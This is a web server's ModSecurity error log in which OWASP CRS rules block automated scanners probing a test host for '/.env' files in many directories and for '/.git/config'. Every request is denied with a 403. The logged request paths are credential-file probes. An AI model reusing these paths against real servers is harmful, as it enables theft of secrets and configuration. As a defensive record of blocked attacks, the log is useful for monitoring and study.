[Tue Nov 19 03:52:35.346188 2024] [:error] [pid 3412342] [client 109.205.213.242:43384] [client 109.205.213.242] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Zzv9c6SynMOiZgYzVSBRWgAAAAA"]
[Tue Nov 19 03:52:35.347110 2024] [:error] [pid 3412342] [client 109.205.213.242:43384] [client 109.205.213.242] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Zzv9c6SynMOiZgYzVSBRWgAAAAA"]
[Tue Nov 19 03:52:35.347701 2024] [:error] [pid 3412342] [client 109.205.213.242:43384] [client 109.205.213.242] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Zzv9c6SynMOiZgYzVSBRWgAAAAA"]
[Tue Nov 19 03:52:35.966984 2024] [:error] [pid 3412355] [client 109.205.213.242:43392] [client 109.205.213.242] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "Zzv9c0MSiTroUUxNNjc51AAAAAU"]
[Tue Nov 19 03:52:35.967589 2024] [:error] [pid 3412355] [client 109.205.213.242:43392] [client 109.205.213.242] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "Zzv9c0MSiTroUUxNNjc51AAAAAU"]
[Tue Nov 19 03:52:35.968014 2024] [:error] [pid 3412355] [client 109.205.213.242:43392] [client 109.205.213.242] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "Zzv9c0MSiTroUUxNNjc51AAAAAU"]
[Tue Nov 19 03:52:36.568510 2024] [:error] [pid 3412346] [client 109.205.213.242:43400] [client 109.205.213.242] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /production/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/production/.env"] [unique_id "Zzv9dOceEVorFlMiPPeyiQAAAAQ"]
[Tue Nov 19 03:52:36.569524 2024] [:error] [pid 3412346] [client 109.205.213.242:43400] [client 109.205.213.242] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/production/.env"] [unique_id "Zzv9dOceEVorFlMiPPeyiQAAAAQ"]
[Tue Nov 19 03:52:36.570184 2024] [:error] [pid 3412346] [client 109.205.213.242:43400] [client 109.205.213.242] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/production/.env"] [unique_id "Zzv9dOceEVorFlMiPPeyiQAAAAQ"]
[Tue Nov 19 03:52:37.020145 2024] [:error] [pid 3412343] [client 109.205.213.242:43414] [client 109.205.213.242] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /development/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/development/.env"] [unique_id "Zzv9dd0YIkxJbgtl7qSjcQAAAAE"]
[Tue Nov 19 03:52:37.020749 2024] [:error] [pid 3412343] [client 109.205.213.242:43414] [client 109.205.213.242] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/development/.env"] [unique_id "Zzv9dd0YIkxJbgtl7qSjcQAAAAE"]
[Tue Nov 19 03:52:37.021208 2024] [:error] [pid 3412343] [client 109.205.213.242:43414] [client 109.205.213.242] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/development/.env"] [unique_id "Zzv9dd0YIkxJbgtl7qSjcQAAAAE"]
[Tue Nov 19 03:52:37.563757 2024] [:error] [pid 3412344] [client 109.205.213.242:43428] [client 109.205.213.242] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /staging/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/staging/.env"] [unique_id "Zzv9ddPIEV78v7m0l44V3QAAAAI"]
[Tue Nov 19 03:52:37.564470 2024] [:error] [pid 3412344] [client 109.205.213.242:43428] [client 109.205.213.242] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/staging/.env"] [unique_id "Zzv9ddPIEV78v7m0l44V3QAAAAI"]
[Tue Nov 19 03:52:37.564952 2024] [:error] [pid 3412344] [client 109.205.213.242:43428] [client 109.205.213.242] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/staging/.env"] [unique_id "Zzv9ddPIEV78v7m0l44V3QAAAAI"]
[Tue Nov 19 17:04:27.139499 2024] [:error] [pid 3412756] [client 45.148.10.122:42478] [client 45.148.10.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Zzy3CydYloVprdQyTvVpcgAAAAY"]
[Tue Nov 19 17:04:27.140241 2024] [:error] [pid 3412756] [client 45.148.10.122:42478] [client 45.148.10.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Zzy3CydYloVprdQyTvVpcgAAAAY"]
[Tue Nov 19 17:04:27.140663 2024] [:error] [pid 3412756] [client 45.148.10.122:42478] [client 45.148.10.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Zzy3CydYloVprdQyTvVpcgAAAAY"]
[Wed Nov 20 01:27:34.707641 2024] [:error] [pid 3429976] [client 103.102.230.7:46338] [client 103.102.230.7] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Zz0s9k-Jc5TVgwK4T5MS1gAAABI"]
[Wed Nov 20 01:27:34.708319 2024] [:error] [pid 3429976] [client 103.102.230.7:46338] [client 103.102.230.7] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Zz0s9k-Jc5TVgwK4T5MS1gAAABI"]
[Wed Nov 20 01:27:34.708742 2024] [:error] [pid 3429976] [client 103.102.230.7:46338] [client 103.102.230.7] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Zz0s9k-Jc5TVgwK4T5MS1gAAABI"]
[Wed Nov 20 03:50:26.350085 2024] [:error] [pid 3432524] [client 103.102.230.7:58866] [client 103.102.230.7] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Zz1Ocq6cv_oxOL4ro9C22AAAAAU"]
[Wed Nov 20 03:50:26.350842 2024] [:error] [pid 3432524] [client 103.102.230.7:58866] [client 103.102.230.7] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Zz1Ocq6cv_oxOL4ro9C22AAAAAU"]
[Wed Nov 20 03:50:26.351572 2024] [:error] [pid 3432524] [client 103.102.230.7:58866] [client 103.102.230.7] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Zz1Ocq6cv_oxOL4ro9C22AAAAAU"]
[Sat Nov 23 07:03:25.397693 2024] [:error] [pid 3498452] [client 45.148.10.206:52938] [client 45.148.10.206] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z0FwLbDgsVZZkDT35tUXdAAAAAE"]
[Sat Nov 23 07:03:25.399198 2024] [:error] [pid 3498452] [client 45.148.10.206:52938] [client 45.148.10.206] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z0FwLbDgsVZZkDT35tUXdAAAAAE"]
[Sat Nov 23 07:03:25.399443 2024] [:error] [pid 3498452] [client 45.148.10.206:52938] [client 45.148.10.206] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z0FwLbDgsVZZkDT35tUXdAAAAAE"]
[Tue Nov 26 11:15:28.761341 2024] [:error] [pid 3565752] [client 179.43.188.122:49656] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "Z0WfwAwI7yeXZXwNg0WYsgAAAAc"]
[Tue Nov 26 11:15:28.763128 2024] [:error] [pid 3565752] [client 179.43.188.122:49656] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "Z0WfwAwI7yeXZXwNg0WYsgAAAAc"]
[Tue Nov 26 11:15:28.763361 2024] [:error] [pid 3565752] [client 179.43.188.122:49656] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "Z0WfwAwI7yeXZXwNg0WYsgAAAAc"]
[Tue Nov 26 11:15:28.765257 2024] [:error] [pid 3567958] [client 179.43.188.122:49672] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "Z0WfwItwdrFt-QvnXLgsPgAAAA4"]
[Tue Nov 26 11:15:28.765543 2024] [:error] [pid 3567958] [client 179.43.188.122:49672] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "Z0WfwItwdrFt-QvnXLgsPgAAAA4"]
[Tue Nov 26 11:15:28.765737 2024] [:error] [pid 3567958] [client 179.43.188.122:49672] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "Z0WfwItwdrFt-QvnXLgsPgAAAA4"]
[Tue Nov 26 11:15:28.772528 2024] [:error] [pid 3567972] [client 179.43.188.122:49682] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "Z0WfwMKxt2Nz3NZjFg88jwAAAAo"]
[Tue Nov 26 11:15:28.773328 2024] [:error] [pid 3567972] [client 179.43.188.122:49682] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "Z0WfwMKxt2Nz3NZjFg88jwAAAAo"]
[Tue Nov 26 11:15:28.773764 2024] [:error] [pid 3567972] [client 179.43.188.122:49682] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "Z0WfwMKxt2Nz3NZjFg88jwAAAAo"]
[Tue Nov 26 11:15:28.777813 2024] [:error] [pid 3565750] [client 179.43.188.122:49690] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "Z0WfwIPZFt9ZHLjWZqxj4QAAAAY"]
[Tue Nov 26 11:15:28.778379 2024] [:error] [pid 3565750] [client 179.43.188.122:49690] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "Z0WfwIPZFt9ZHLjWZqxj4QAAAAY"]
[Tue Nov 26 11:15:28.778719 2024] [:error] [pid 3565750] [client 179.43.188.122:49690] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "Z0WfwIPZFt9ZHLjWZqxj4QAAAAY"]
[Tue Nov 26 11:15:28.798032 2024] [:error] [pid 3564717] [client 179.43.188.122:49704] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "Z0WfwGRhXg6poZdXv-86lAAAAAU"]
